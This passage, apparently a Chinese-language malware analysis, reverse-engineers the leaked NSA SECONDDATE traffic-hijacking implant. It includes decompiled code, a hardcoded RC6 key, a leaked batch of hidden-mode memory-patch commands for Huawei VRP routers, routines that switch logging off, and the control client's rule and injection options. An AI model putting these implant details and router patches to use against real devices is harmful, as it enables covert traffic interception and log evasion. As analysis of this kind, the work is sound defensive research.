  *v17 = *(v16 + 8) + v15;
  v1 = libnetProcess_8054BE0(v16 + 320, *(v16 + 11), v18, dip, sip,
v22, v21, v24, v20 + v23, v16[3]);
  if ( v1 == 2 && g_logEntries <= 3999 )            // 最多4000条日志
  {
    htonl_8054BB0(g_sdLog + 7 * g_logEntries + 4, v15);
    htonl_8054BB0(g_sdLog + 7 * g_logEntries, g_logEntries);
    htonl_8054BB0(g_sdLog + 7 * g_logEntries + 1, sip);
    htonl_8054BB0(g_sdLog + 7 * g_logEntries + 2, dip);
    htons_8054B60(g_sdLog + 14 * g_logEntries + 6, v21);
    htons_8054B60(g_sdLog + 14 * g_logEntries + 7, v22);
    htonl_8054BB0(g_sdLog + 7 * g_logEntries + 5, v8 + 1);
    *(g_sdLog + 28 * g_logEntries++ + 24) = v18;
  }
  if ( !*(v16 + 10) )
  {
    v12 = *(v16 + 9);
    if ( v12 )
    {
      if ( v12 <= *(v16 + 12) )
      {
        *v16 = 0;
        --g_ruleCount;
        *v17 = 0;
        v17[1] = 0;
      }
    }
  }
  return v1;
}
```

流量的处理则相对比较简单,按照规则进行匹配,命中就执行劫持,然后记录日志,否则就放过.

加密算法

SecondDate使用了自定义XOR算法和修改的RC6算法.

```
#通信数据包的数据结构
-------------------------------------------------
| 第一层加密    |                                 |
| 数据头:12字   |     第一层加密数据：1036字节       |
| 节校验数据    |                                  |
-------------------------------------------------
               |  8字节  |                        |
               |  IV值   |  第二层加密数据：1028字节|
               |         |                        |
               -----------------------------------
                        |  8字节  |               |
                        |  校验   | 有效数据载荷：  |
                        |  数据   |    1020字节   |
                        ---------------------------
```

根据T0daySeeker的分析, 数据包的格式如上面的分析.又因为协议运行在UDP协议上,所以整个数据包的结构如下.

```
struc sndhdr{
        int xorsum[3];
        int rc6iv[2];
        int rc6sum[2];
}
struct sndpkga{
        struct iphdr iph;
        struct udphdr udph;
        struct sndhdr sndh;
        char payload[1020];
}
struct sndudp{
        struct udphdr udph;
        struct sndhdr sndh;
        char payload[1020];
}
struct sndpkg{
        struct sndhdr sndh;
        char payload[1020];
}
```

XOR

```
  xorKey = ntohl_8054B80(pUdp->sndhdr.xorsum) - SNDPKG_XOR_SUM;
  if ( xorKey + ntohl_8054B80(&pUdp->sndhdr.xorsum[1]) )// 验证XOR
    return 0;
  v5 = 0;
  memcpy(dest, pSndpkg, SNDPKG_LENGTH);
  v6 = ntohl_8054B80(&xorKey);
  p = dest;
  xorKey = v6;
  do                                                    // xor解密
  {
    q = *(p + 3) ^ xorKey;
    *(p + 3) = q;
    p += 4;
    v5 ^= q;
  }
  while ( p != v80 );
```

这里的XOR算法,要点是前面3个DWORD字节来不参加XOR,前两个DWORD保持加密密钥和验证加密密钥,第三个DWORD应该是保留,未见使用. 后面的字节就是简单XOR加密.

```
int xor(int *buf, int lenght){
        key=buf[0]-0x61E57CC6;
        if(key1 + buf[1] != 0)
                return -1;
        for(int i = 3; i < length; i++){
                buf[i] ^= key;
        }
}
```

为了性能,SecondDate做了buf对齐操作,说明为了在低性能的设备上运行,系统优化过.

RC6

RC6也是AES的候选标准之一,NSA也比较偏好的算法之一.关于RC6的分析非常多,这里就不弄斧了.
参考的实现主要是 RC6/rc6.cpp at master · c0n0rc/RC6 · GitHub和 cryptospecs/symmetrical/sources/rc6.c at master · stamparm/cryptospecs · GitHub
依据这些代码对SecondDate的RC6实现进行分析.

```
//
https://github.com/stamparm/cryptospecs/blob/master/symmetrical/source
s/rc6.c
int __cdecl rc6SetKey_8056640(_DWORD *in_key, _DWORD *out_key)
```

```
{
  int k; // edx
  int i; // edi
  unsigned int v4; // ebx
  int v5; // esi
  int v6; // edx
  int v7; // eax
  int v8; // edi
  int v9; // edx
  int v10; // ebx
  int v11; // eax
  int result; // eax
  _DWORD *v13; // esi
  unsigned int v14; // eax
  int m; // [esp+4h] [ebp-24h]
  int n; // [esp+8h] [ebp-20h]
  int v17[7]; // [esp+Ch] [ebp-1Ch]

  k = 1;
  *out_key = 0xB7E15163;
  do
  {
    out_key[k] = out_key[k - 1] - 0x61C88647;
    ++k;
  }
  while ( k != 44 );
  for ( i = 0; i != 4; ++i )
  {
    v4 = (i * 4) >> 2;
    v5 = BYTE1(in_key[i]) << 8;
    v6 = (BYTE2(in_key[i]) << 16) | (HIBYTE(in_key[i]) << 24);
    v7 = LOBYTE(in_key[i]);
    v17[v4] = v7 | v6 | v5;
  }
  v8 = 0;
  v9 = 0;
  v10 = 0;
  m = 0;
  n = 0;
  while ( 1 )
  {
    v13 = &out_key[m];
    v9 = __ROR4__(*v13 + v10 + v9, 29);
```

```
    if ( ((v9 + v10) & 0x1F) != 0 )
    {
      v14 = v17[v8] + v9 + v10;
      *v13 = v9;
      v10 = (v14 >> (32 - ((v9 + v10) & 0x1F))) ^ (v14 << ((v9 + v10)
& 0x1F));
      if ( m != 43 )
      {
LABEL_7:
        ++m;
        goto LABEL_8;
      }
    }
    else
    {
      v11 = v17[v8];
      *v13 = v9;
      v10 += v11 + v9;
      if ( m != 43 )
        goto LABEL_7;
    }
    m = 0;
LABEL_8:
    result = 0;
    if ( v8 != 2 )
      result = v8 + 1;
    if ( ++n == 132 )
      return result;
    v17[v8] = v10;
    v8 = result;
  }
}
```

```
u4byte *set_key(const u4byte in_key[], const u4byte key_len)
{   u4byte  i, j, k, a, b, l[8], t;

    l_key[0] = 0xb7e15163;

    for(k = 1; k < 44; ++k)

        l_key[k] = l_key[k - 1] + 0x9e3779b9;

    for(k = 0; k < key_len / 32; ++k)
```

```
        l[k] = in_key[k];

    t = (key_len / 32) - 1;

    a = b = i = j = 0;

    for(k = 0; k < 132; ++k)
    {   a = rotl(l_key[i] + a + b, 3); b += a;
        b = rotl(l[j] + b, b);
        l_key[i] = a; l[j] = b;
        i = (i == 43 ? 0 : i + 1);
        j = (j == t ? 0 : j + 1);
    }

    return l_key;
};
```

比较两者,除了参数不一样之外,算法也有细微不同.

RC6的IV设置如下.

```
int cryptoSetup()
{
  _DWORD *out_key; // eax
  int in_key[4]; // [esp+8h] [ebp-10h] BYREF

  in_key[0] = 0x911ABEE2;
  in_key[1] = 0xF03CD4AE;
  in_key[2] = 0xD1CD8A39;
  in_key[3] = 0xF9C37B3F;
  out_key = malloc(0xB0u);
  keySchedule = out_key;
  if ( out_key )
  {
    rc6SetKey_80560F0(in_key, out_key);
    return 0;
  }
  else
  {
    puts("SECONDDATE: unable to malloc memory for RC6 Key
expansion.");
    return 1;
```

```
  }
}
```

RC6加解密算法如下.

```
int __cdecl rc6Encrypt_80561A0(int *in_blk, int *out_blk, int length,
int *iv, int keySchedule)
{
  int i; // ebx
  int *pIn; // eax
  int *pOut; // edx

  i = length;
  while ( i > 16 )                                  // 64字节来进行加密
  {
    i -= 16;
    pIn = in_blk;
    in_blk += 4;
    pOut = out_blk;
    out_blk += 4;
    rc6EncryptVec_8056110(pIn, pOut, 16u, iv, keySchedule);
    rc6KeySchedule_8055E60(iv);
  }
  rc6EncryptVec_8056110(in_blk, out_blk, i, iv, keySchedule);
  return 0;
}
```

```
int __cdecl rc6Decrypt_8056220(int *in_blk, int *out_blk, int length,
int *iv, int keySchedule)
{
  return rc6Encrypt_80561A0(out_blk, in_blk, length, iv,
keySchedule);// 对称加密算法,加减密一样
}
```

从代码上看,就是标准的16轮加密.

早期的NSA经常使用自己实现的各类算法.后期好像少了.

扩展

在另一个泄露的目录eqgrp-free-file/Firewall/TURBO/TX at master · nneonneo/eqgrp-free-file · GitHub下,发现seconddate的扩展部分.

```
 tree .
.
├── Modules
│   ├── polarscore_TX_v1.2.0.1.bin
│   ├── seconddate-polar_tx_v2.0.1.1.bin
│   ├── seconddate-polar_tx_v2.0.1.1_cpuSlice.bin
│   ├── seconddate-polar_tx_v2.0.1.1_cpuUtilization.bin
│   ├── uninstallPBD.bat

│   └── VRP_3.30_REL_V200R006C02B066
│       ├── polarcalgon_tx_v1.5.0.1.bin
│       ├── polarcalgon_tx_v1.5.0.1_disableLogging.bin
│       ├── polarcalgon_tx_v1.5.0.1_enableLogging.bin
│       ├── polarcloak_tx_v1.0.0.4.bin
│       ├── polarhood_tx_v1.1.0.1.bin
│       └── seconddate-polar_tx_v3.0.0.4.bin
├── pandarock_v1.11.1.1.bin
└── SeconddateCommonClient_v1.0.2.1
```

根据目录结构,这是对华为的路由器系统VRP进行攻击的完整工具链,已经形成工程化的覆盖.

Client部分保持一致,使用统一的控制端进行管理. 植入物部门则进行定制化开发,应该与前面的JunOS一样,但是VRP的文件格式和系统不一样,需要独立的代码编写.

查看一下卸载命令.

```
more uninstallPBD.bat
_hidecmd // 隐藏模式

memset d207ffd0 4 666c6173 // 修改内存值
memset d207ffd4 4 683a2f6d
memset d207ffd8 4 61696e2E
memset d207ffdc 4 62696E00

memset 00200100 4 7c631a78
memset 00200104 4 3c80d207
memset 00200108 4 6084ffd0
memset 0020010c 4 48ea199b
memset 00200110 4 48e9a062

memset 0134fabc 1 0
memset 013abd04 1 0
memset 00e9a0a8 4 60000000
```

```
memset 00e9a05c 4 48200102

quit // 退出
_hidecmd // 隐藏模式
en_diag // 进入调试模式

quit // 退出
_hidecmd // 隐藏模式
memset 00e9a05c 4 38845b88 // 修改内存值
memset 0134fabc 1 0d
memset 013abd04 1 0d
memset 00e9a0a8 4 4b515df1

quit // 退出
```

这段命令,就是进入隐藏模式,然后进入到调试模式,执行内存修改指令.
根据这个文件,我们基本了解了NSA的植入方式,结合前面对植入物的分析,也就了解了其控制方式:通过在路由器植入木马程序,实现流量劫持.

下面我们看看植入物.

```
file pandarock_v1.11.1.1.bin
pandarock_v1.11.1.1.bin: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
```

这个程序是用来在设备上执行脚本文件的工具.

看看目录eqgrp-free-file/Firewall/TURBO/TX/Modules/VRP_3.30_REL_V200R006C02B066 at master · nneonneo/eqgrp-free-file · GitHub下的植入物.

```
ls -l
total 180
-rwxrwxrwx 1 tester tester  14018 Feb 25  2022
polarcalgon_tx_v1.5.0.1.bin
-rwxrwxrwx 1 tester tester     68 Feb 25  2022
polarcalgon_tx_v1.5.0.1_disableLogging.bin
-rwxrwxrwx 1 tester tester     80 Feb 25  2022
polarcalgon_tx_v1.5.0.1_enableLogging.bin
-rwxrwxrwx 1 tester tester  20566 Feb 25  2022
polarcloak_tx_v1.0.0.4.bin
-rwxrwxrwx 1 tester tester  21110 Feb 25  2022
```

```
polarhood_tx_v1.1.0.1.bin
-rwxrwxrwx 1 tester tester 114829 Feb 25  2022 seconddate-
polar_tx_v3.0.0.4.bin
```

根据名称,前面的这些代码片段,主要是用来辅助安装,修改和隐藏木马,最后一个文件应该是实现流量劫持.
分析一下.

```
binwalk -A  seconddate-polar_tx_v3.0.0.4.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
----------
8             0x8             PowerPC big endian instructions,
function prologue
```

进一步搜索泄露的seconddate.

```
tree . | grep -i seconddate
|   |   |           |   |   ├── SecondDate-2122.exe
|   |   |           |   |   ├── SecondDate-2122.exe.bin
|   |   |           |   |   └── SecondDate-2122.mod
|   |   |           |   |   ├── SecondDate-2123.exe
|   |   |           |   |   ├── SecondDate-2123.exe.bin
|   |   |           |   |   ├── SecondDate-2123.mod
|   |   |           ├── SecondDateLP
|   |   |           |       ├── SecondDate-2211.exe
|   |   |           |       ├── SecondDate-2211.exe.bin
|   |   |           |       └── SecondDate-2211.mod
|   |   |           ├── SecondDateLP
|   |   |       |   |       ├── SecondDate-3021.exe
|   |   |       |   |       ├── SecondDate-3021.exe.bin
|   |   |       |   |       └── SecondDate-3021.mod
|   |   |       |   ├── SecondDateLP-3020
|   |   |       |   |       ├── BSecondDateCommon-3101.exe
|   |   |       |   |       ├── BSecondDateCommon-3101.exe.bin
|   |   |       |   |       ├── BSecondDateCommon-3101.mod
|   |   |       |   ├── SecondDateCommon-miniprog-3100
|   |   |           |       ├── BSecondDateCommon-3114.exe
|   |   |           |       ├── BSecondDateCommon-3114.exe.bin
|   |   |           |       └── BSecondDateCommon-3114.mod
|   |   |           ├── SecondDateCommon-miniprog-3110
|   |   |   |   |   └── SecondDate-3.1.1.0.SecondDateLp
```

```
│   │   │   │   └── SecondDate-3.1.1.0.SecondDateLp
│   │   │   │   └── SecondDate-3.1.1.0.SecondDateLp
│   │   │   │   └── SecondDate-3.1.1.0.SecondDateLp
│   │   │       │   └── SecondDate-3.1.1.0.SecondDateLp
│   │   │       │   │       │   ├── Seconddate_1.1.4.3.mo
│   │   │       │   │       │   ├── Seconddate.lx32
│   │   │       │   │       │   ├── Seconddate.lx64
│   │   │       │   │       │   ├── Seconddate.xml
│   │   │       ├── SeconddateCnC
│   │   │       │   │   └── SeconddateCommonClient
│   │   ├── SecondDate
│   │           │   ├── seconddate-polar_tx_v2.0.1.1.bin
│   │           │   ├── seconddate-polar_tx_v2.0.1.1_cpuSlice.bin
│   │           │   ├── seconddate-polar_tx_v2.0.1.1_cpuUtilization.bin
│   │           │   │   └── seconddate-polar_tx_v3.0.0.1.bin
│   │           │   │   └── seconddate-polar_tx_v3.0.0.2.bin
│   │           │   │   └── seconddate-polar_tx_v3.0.0.3.bin
│   │           │       └── seconddate-polar_tx_v3.0.0.4.bin
│   │           └── SeconddateCommonClient_v1.0.2.1
```

可以非常明显的看到,SecondDate是一个流量工程项目,支持各种网络设备的植入,并进行流量劫持,后期增加了隧道功能,更加方便对目标系统进行渗透.

代码分析

分析固件代码总是困难的,特别是木有环境的情况下,下面的分析,大多来自猜测.

根据binwalk的提示,是powerpc big endian的代码.
先从简单的代码出发,看看代码的具体内容.

```
void disableLogging(void)
{
  _DAT_003cfd60 = 0x4e800020;
  _DAT_002116f0 = 0x4e800020;
  _DAT_01b9835c = 0; // 关闭日志记录
  return;
}

void enableLogging(void)
{
  _DAT_003cfd60 = 0x9421ff60;
  _DAT_002116f0 = 0x9421ed70;
  _DAT_01b9835c = 1; // 打开日志记录
```

```
  return;
}
```

这两段代码,就是打开,关闭日志记录功能, 根据经验,逆向应该是正确的.

强行分析,发现了RC6的IV,但是后门的部分对不上,只好分析一下对应的Client.

Client

Client的文件来自目录eqgrp-free-file/Firewall/TURBO/TX at master · nneonneo/eqgrp-free-file · GitHub

```
file SeconddateCommonClient_v1.0.2.1
SeconddateCommonClient_v1.0.2.1: ELF 32-bit LSB executable, Intel
80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses
shared libs), stripped
-bash-4.2# sha1sum SeconddateCommonClient_v1.0.2.1
be0667aa8ad2fc06b13b511d0b9105b89a832637
SeconddateCommonClient_v1.0.2.1
```

执行一下,看看如何使用.

```
./SeconddateCommonClient_v1.0.2.1

./SeconddateCommonClient_v1.0.2.1 1.0.2.1

List all available command:     'help'
Interrupt a command:            Control-C
Terminate this program:         'quit' or Control-D

SD> help
Thu, 07 Mar 2024 08:06:13 +0000

Available Commands:

    clearlog
    commit
    disable
    enable
    exit
    getinfo
    getlog
    getrule
```

```
    help
    network
    ping
    quit
    rule
    showrule
    sync
    uninstall

Hint:

    Try 'help <command>' for a detailed help message for any of the
    available commands.


[SUCCESS]

[62/1293]
SD> help rule
Thu, 07 Mar 2024 08:08:06 +0000

Usage: rule <rule number> [ ... options ... ]

Valid options:
    --srcaddr <xxx.xxx.xxx.xxx>     : Default:
                                      0.0.0.0
    --srcmask <xxx.xxx.xxx.xxx>     : Default:
                                      255.255.255.255 if --srcaddr
is set
                                      0.0.0.0 if --srcaddr is not
set
    --dstaddr <xxx.xxx.xxx.xxx>     : Default:
                                      0.0.0.0
    --dstmask <xxx.xxx.xxx.xxx>     : Default:
                                      255.255.255.255 if --dstaddr
is set
                                      0.0.0.0 if --dstaddr is not
set
    --protocol <integer>            : Default:
                                      6 (TCP)
    --srcport <integer>             : Default:
                                      0 (any)
    --dstport <integer>             : Default:
```

```
                                        0 (any)

    --noappcheck=[string]           : Default:
        or --checkhttp                  --checkhttp
        or --checkdns[=string]
                                        --noappcheck Options:
                                          reverse | forward
                                        Default:
                                          reverse

                                        --checkdns Options:
                                          a     | axfr | cname | hinfo |
maila |
                                          mailb | mb   | md    | mf    |
mg    |
                                          minfo | mr   | mx    | ns    |
null  |
                                          ptr   | soa  | txt   | wks
                                        Default:
                                          a

    --matches <integer>             : Description:
                                          Total number of matches to
perform
                                          within the window period. 0
                                          indicates infinite matches.
                                        Default:
                                          5
    --window <integer>              : Description:
                                          Window period duration in
seconds. 0
                                          indicates an infinite window.
                                        Default:
                                          0
    --interval <integer>            : Description:
                                          Minimum time between
subsequent matches
                                          in seconds.
                                        Default:
                                          60

    --regexfile <path>              : Default:
        or --regex <string>               not set
```

```
    --injectfile <path>             : Default:
        or --inject <string>            not set

    --interact-normal               : Description:
        or --interact-normal-block      Control the interaction
between
        or --interact-normal-skip       multiple rules. Please
reference
        or --interact-ignore            the offline documentation for
more
        or --interact-ignore-block      information.
        or --interact-ignore-skip     Default:
                                        --interact-normal

    --tcpflag <string>              : Options:
                                        fin | syn | rst | psh | ack |
urg | none
                                      Default:
                                        fin ack psh
                                      Note:
                                        To set multiple flags this
option
                                        should be specified multiple
times.

Create or update rule <rule number> with the properties described by
[ ... options ... ].

If an option is not provided the listed defaults will be used.


[SUCCESS]
```

从命令行的帮助看,客户端的接口保持一致.

Implant

下面分析一下植入物的代码.
由于手头木有VRP3的路由器,所以只能代码分析,不能验证.预计谬误会多一些.

因为加密算法XOR算法已经是NSA标准的XOR47,但RC6保持一致,就是NSA的私有版.先从特征开始找.

```
int cryptoSetup_18D4()
{
  int v1[16]; // [sp+8h] [-48h] BYREF

  v1[0] = 20;
  v1[1] = 500;
  v1[6] = (int)sub_21CC;
  v1[11] = (int)sub_20B8;
  v1[8] = (int)sub_2170;
  v1[5] = MEMORY[0x2562C4](0);
  v1[2] = (int)&g_IV;
  v1[4] = 55;
  v1[10] = 0;
  v1[12] = (int)sub_20F4;
  v1[3] = 0x9E1A833A;
  v1[7] = 0;
  v1[9] = 0;
  return sub_D668(v1);
}
```

找到了rc的初始IV,但是代码的逆向非常糟糕.因为木有环境,就不再继续分析下去.

总结

SecondDate作为一个流量工程,采用C/S结构进行设计,通过统一一个管理端对大量不同设备进行流量劫持, 隧道管理,无疑是非常成功的.
他的主要功能是流量劫持,保护DNS和HTTP协议的劫持,以及TCP, UDP,IP层面的网络劫持,到内网隧道的建立.

NSA在网络流量攻击系统方面的建设是非常系统性的,从MITM的流量劫持系统Quantum,到SecondDate这类的内网渗透性的流量劫持工具,为后续的持续性渗透做了基础的支持.

参考

1. NSA（美国国安局）泄漏文件深度分析（PART 1） - 腾讯云开发者社区-腾讯云 (tencent.com)
2. NSA泄露文件深度分析（二）： 运营商 - 腾讯云开发者社区-腾讯云 (tencent.com)
3. 信息安全摘要 (cverc.org.cn)
4. NSA组织“二次约会”间谍软件功能复现及加解密分析 - 先知社区 (aliyun.com)
5. NSA组织“二次约会”间谍软件通信模型剖析与对比 - 先知社区 (aliyun.com)
6. NSA组织“二次约会”freebsd平台样本剖析 - 先知社区 (aliyun.com)
7. GitHub - x0rz/EQGRP: Decrypted content of eqgrp-auction-file.tar.xz

8. 改进了类西蒙分组密码的旋转异或密码分析 - Lu - 2022 - IET Information Security - Wiley Online Library --- Improved rotational-XOR cryptanalysis of Simon-like block ciphers - Lu - 2022 - IET Information Security - Wiley Online Library
9. 什么是对称加密解密RC6? - 知乎 (zhihu.com)
10. GitHub - TakLun/RC6: RC6 Encryption/Decryption using C++
11. GitHub - shashankrao/RC6-Block-Cipher: Implementation of RC6 encryption and decryption in python.
12. GitHub - c0n0rc/RC6: Implementation of Rivest Cipher 6.
13. GitHub - stamparm/cryptospecs: Official archive of https://code.google.com/p/cryptospecs/
14. https://samples.vx-underground.org/Papers/Malware%20Defense/Malware%20Analysis/2016/2016-09-23%20-%20SECONDDATE%20in%20action.pdf
15. https://samples.vx-underground.org/Papers/Malware%20Defense/Malware%20Analysis/2016/2016-09-17%20-%20A%20few%20notes%20on%20SECONDDATE's%20C&C%20protocol.pdf
16.